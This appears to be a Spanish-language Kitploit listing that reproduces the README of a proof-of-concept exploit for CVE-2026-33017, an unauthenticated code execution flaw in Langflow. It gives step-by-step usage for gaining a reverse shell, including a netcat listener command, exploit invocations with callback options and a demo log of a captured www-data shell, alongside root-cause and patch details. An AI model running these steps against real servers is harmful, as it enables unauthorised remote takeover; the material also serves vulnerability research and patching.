Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-33017 — Exploit PoC para CVE-2026-33017: ejecución remota de código no autenticada en Langflow mediante la inyección de un componente personalizado de Python malicioso, con listener de shell inversa integrado. | Kitploit
Herramientas/GitHubGitHub/dynamo2k1/cve-2026-33017
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlHerramienta de Acceso Remoto
GitHubdynamo2k1/cve-2026-33017

CVE-2026-33017

Exploit PoC para CVE-2026-33017: ejecución remota de código no autenticada en Langflow mediante la inyección de un componente personalizado de Python malicioso, con listener de shell inversa integrado.

Ver Repositorio
hace 28 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-33017 — Ejecución Remota de Código sin Autenticación en Langflow

Autor: dynamo2k1
Severidad: Crítico
CVSSv3: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)


Resumen

CVE-2026-33017 es una vulnerabilidad crítica de ejecución remota de código sin autenticación en Langflow, una plataforma de código abierto para crear visualmente aplicaciones LLM y flujos de trabajo de IA.

El endpoint vulnerable build_public_tmp acepta un campo data proporcionado por el atacante en el cuerpo de la solicitud, sin autenticación. Esto permite a un atacante inyectar una definición de flujo completamente personalizada que contiene un componente personalizado malicioso de Python, cuyo código se ejecuta en el servidor durante el proceso de construcción.

No se requieren credenciales. Solo se necesita un UUID de flujo público válido.


Versiones Afectadas

EstadoVersión
VulnerableLangflow < 1.9.0
CorregidaLangflow 1.9.0+

Endpoint Vulnerable

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

Este endpoint está diseñado para construir flujos públicos (compartidos) sin autenticación. En versiones vulnerables, también acepta un campo data controlado por el atacante en el cuerpo de la solicitud, que se pasa directamente a la lógica de construcción del servidor, incluido cualquier código Python incrustado en componentes personalizados.


Uso

Requisitos previos

root@kitploit:~
pip install requests urllib3

Paso 1 — Encontrar un UUID de flujo público

Navega por la instancia de Langflow objetivo y busca un flujo compartido/público. El UUID aparece en la URL:

root@kitploit:~
https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25
                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                                        this is the flow-id

Paso 2 — Configurar un listener

root@kitploit:~
nc -lvnp 9001

Paso 3 — Lanzar el exploit

root@kitploit:~
python exploit.py \
  --url https://target.com \
  --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
  --lhost <YOUR_IP> \
  --lport 9001

O usa el listener interactivo integrado (no se necesita un nc separado):

root@kitploit:~
python exploit.py \
  --url https://target.com \
  --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
  --lhost <YOUR_IP> \
  --lport 9001 \
  --listen

Opciones


Demostración

root@kitploit:~
[*] Target: https://target.com/api/v1/build_public_tmp/<flow-id>/flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522

www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Cómo Funciona

  1. El atacante identifica un UUID de flujo público de Langflow (visible en la URL del playground).
  2. Una solicitud POST manipulada inyecta un componente personalizado malicioso que contiene código Python a nivel de módulo.
  3. Durante la fase de construcción, Langflow compila el código del componente, ejecutando el payload del atacante antes de que se llame a ningún método.
  4. El código genera una reverse shell de vuelta al listener del atacante.

Causa raíz: build_public_tmp confiaba en el campo data del cuerpo de la solicitud en lugar de usar únicamente la definición de flujo almacenada en el servidor.

Parche: En Langflow 1.9.0, el parámetro data se eliminó de build_public_tmp. Las definiciones de flujo externas ya no se pueden inyectar a través de este endpoint.

Commit del parche: 73b6612


Referencias

  • GitHub Security Advisory — GHSA-vwmf-pq79-vjvx
  • NVD — CVE-2026-33017
  • Commit del parche

Descargo de responsabilidad

Este PoC se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. Úsalo solo contra sistemas que poseas o para los que tengas permiso explícito por escrito para probar.

Descargar herramienta
OpciónDescripción
--urlURL base de Langflow objetivo
--flow-idUUID de flujo público
--lhostTu IP para el callback de la reverse shell
--lportTu puerto de listener
--listenUsa el manejador de shell integrado en lugar de nc externo
--timeoutTiempo de espera de la solicitud HTTP en segundos (por defecto: 30)